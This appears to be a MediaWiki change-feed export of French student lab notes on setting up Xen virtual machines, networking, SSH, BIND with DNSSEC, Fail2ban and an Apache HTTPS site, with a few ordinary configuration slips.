&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12114</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12114"/>
		<updated>2026-02-07T17:51:27Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Génération des clés */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
